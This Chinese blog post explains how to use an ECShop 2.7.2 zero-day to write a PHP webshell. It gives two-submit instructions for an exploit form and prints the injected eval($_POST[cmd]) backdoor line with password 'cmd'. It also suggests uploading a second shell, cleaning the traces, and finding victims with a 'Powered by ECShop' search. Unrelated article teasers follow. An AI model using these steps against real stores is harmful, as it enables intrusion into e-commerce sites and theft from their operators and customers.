ECSHOP号称最大的开源网店系统,官方是这样介绍它的:“ECShop网店系统是一套免费开源的网上商店软件,无论在稳定性、代码优化、运行效率、负载能力、安全等级、功能可操控性和权限严密性等方面都居国内外同类产品领先地位。

按照我的理解,作为一款网店系统,系统的安全性应该摆在很重要的位置,但ECSHOP却好像漏洞不断。就在前几天,xhming大牛又公布了一个ECSHOP前台写shell的Oday,利用漏洞获得shell非常简单,可以说是秒杀。从官方下载的ECSHOP的最新版本也存在这个漏洞,官方还没有出相应的补丁或对软件进行升级修补这个漏洞。

ECSHOP出现新漏洞对我来说是件好事,因为又有拿shell的漏洞了,哈哈。也希望ECSHOP在漏洞挖掘者的鞭策下能把ECSHOP做的更安全,更优秀,毕竟网店系统涉及网络交易,不是闹着玩的。

一、漏洞简介

出现漏洞的文件是demo目录下的index.php,代码我就不贴出来了!

关于漏洞的详细介绍请看漏洞出处。

二、漏洞利用方法

具体的漏洞分析我也不会,直接来看怎么利用这个漏洞来获得shell。目前ECSHOP的最新版本为,我危险漫步从官方下载了GBK版本的ECShop_V2.7.2pGBK Release0604,在虚拟机的PHPP环境中把ECSHOP安装了起来。

在论坛的一篇文章中xhming给出了一个漏洞利用的EXP,是一个用于提交数据的html文件,两次提交后会自动打开demo/index.php,页面上会显示phpinfo,xhming说了,提

交内容可以随意,言下之意就是你可以自己构造提交内容直接获得shell而不是象征性的执行phpinfo()函数。但并不是每个人都会构造直接获得shell的提交内容,好在Mr.LP在xhming的EXP的基础上修改后给出了可以直接获得shell的EXP。

使用方法:

1.修改form中action的内容为需要网址。

2.提交表单一次。

3.连接一句话木马,密码为cmd。把上面代码保存为exp.html,直接打开发现有乱码。把“charset=utf-8”修改为“charset=gbk”后乱码问题解决了。

用记事本打开exp.html,把提交地址修改为我虚拟机中ECSHOP的提交地址,保存修改后打开exp.html,点“提交”按钮后显示的结果,会把php-句话木马写到data目录下的config.php文件中,用lanker-句话PHP后门客户端连接,密码cmd,发现php-句话木马不能用。

在页面按网页浏览器的后退按钮来到exp.html,点“提交”按钮再提交一次数据。提交完数据后再次用lanker-句话PHP后门客户端连接,这次获得了shell)。

原来要提交两次才能获得shell,这里要注意一下。

通过比较原来的data目录下的config.php和获得shell后的config.php,发现通过两次提交数据向config.php中写入了下面的数据:define('EC_LANGUAGEI',.);@eVal($一POST[cmd]);#');@eval($_POST[cmdl);#’);。建议用获得的shell上传另一个shell上去。然后去掉config.php中新写入的数据。

通过搜索“Powered by ECShop v2,7.2”等可能找到存在这个漏洞的网站。ecshop的前台写shell 0day危险漫步就给大家介绍到这里,自己有ECSHOP网站的朋友等官方出了这个漏洞的补丁后快打上吧,漏洞很严重。这个漏洞利用起来非常简单,只需要写上目标网站的地址点两次“提交”按钮就获得了shell,对存在这个漏洞的网站可以说是秒杀。希望在利用这个漏洞拿shell时不要对网站造成破坏,如果能知道出现这个漏洞的原因并且学习漏洞利用的方法和思路就更好了。

秒杀ecshop的前台写shell 0day的更多相关文章

  1. 使用C#给Linux写Shell脚本(下篇)

    在上篇的<使用C#给Linux写Shell脚本>结尾中,我们留下了一个关于C#如何调用BashShell的问题.在文章发布之后,我留意到有读者留言推荐使用“Pash”(一款类PowerSh ...

  2. 写shell脚本速查笔记

    linux shell脚本的语法蛋疼,而且对于java开发人员来说又不常用,常常是学了一次等到下次用的时候又忘记了.因此制作这个速查笔记,用于要写shell脚本时快速回忆&速查. 获取当前脚本 ...

  3. python中写shell(转)

    python中写shell,亲测可用,转自stackoverflow To run a bash script, copy from stackoverflow def run_script(scri ...

  4. 写shell,运行出错:syntax error near unexpected token `$’do\r”

    cygwin下面写shell,运行出错:syntax error near unexpected token `$’do\r” 写shell,运行出错:syntax error near unexpe ...

  5. 十分钟学会写shell脚本

    大家好!我是handsomecui,下面我为大家讲解一下shell脚本的写法,讲的不好的地方,欢迎大家留言拍砖. 1.在linux下会写shell脚本是非常重要的,下面我参照例子给大家展示几个脚本,顺 ...

  6. 涨姿势:抛弃字母、数字和下划线写SHELL

    PHP中异或 (^) 的概念 <?php echo"A"^"?";?> <?php echo"A"^"?&quo ...

  7. SQL语句利用日志写shell

    outfile被禁止,或者写入文件被拦截: 在数据库中操作如下:(必须是root权限) show variables like '%general%'; #查看配置 set global genera ...

  8. upupw phpmyadmin写shell

    废话: upupw给我的感觉是一个充当了waf毁三观的垃圾程序.然而,我讨厌的程序,管理员都特别喜欢用. 你会发现直接用之前那套写shell的建表然后在值里添加shell代码写到一个路径不可以了. C ...

  9. win环境下使用sqlmap写shell + MYSQL提权(默认就是system权限)

    今天在来一个mysql提权 (也可以说是默认system权限提的) 在被黑站点找到一个站   先教拿shell是有注入漏洞的 有可能是root权限的注入点 可以确定是有注入漏洞的 也得到了 物理路径 ...

随机推荐

  1. DUMP102 企业级电商FE

    101 完成 webpack 配置后,有一套类似 live-reload 自动刷新提供 REPL 环境. [配置 webpack.config.js 别名,方便 js 文件做require 支持路径别 ...

  2. 🍓JavaScript 对象原型链继承的弊端 🍓

  3. 网络流Dinic(本篇介绍最大流)

    前言:看到网上Dinic和ISAP的比较,多数人认为ISAP更快,不容易爆栈.当然,也有少数人认为,在多数情况下,Dinic比较稳定.我认为Dinic的思路比ISAP更简明,所以选择了Dinc算法 介 ...

  4. shiro-core包引用的版本问题

    在做shiro学习时,遇到这样的问题: Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/ ...

  5. Spring Cloud 2-Ribbon 客户端负载均衡(二)

    Spring Cloud Eureka  1.Hello-Service服务端配置 pom.xml application.yml 启动两个service 2.Ribbon客户端配置 pom.xml ...

  6. jquery前端倒计时

    function FreshTime(){ // var endtime=new Date("2019/04/15,12:20:12");//结束时间 var endtime = ...

  7. 【原创】Linux基础之SSH隧道/端口转发

    格式 ssh -L <local port>:<remote host>:<remote port> <SSH servername> 示例 # ssh ...

  8. 【转载】MySQL5.7 添加用户、删除用户与授权

    mysql -uroot -proot MySQL5.7 mysql.user表没有password字段改 authentication_string: 一. 创建用户: 命令:CREATE USER ...

  9. 【git】将本地项目上传到远程仓库

    飞机票 一. 首先你需要一个github账号,所有还没有的话先去注册吧! https://github.com/ 我们使用git需要先安装git工具,这里给出下载地址,下载后一路直接安装即可: htt ...

  10. JAVA 调用https接口, java.security.cert.CertificateException

    package com.easycare.store.util; import java.security.cert.CertificateException; import java.securit ...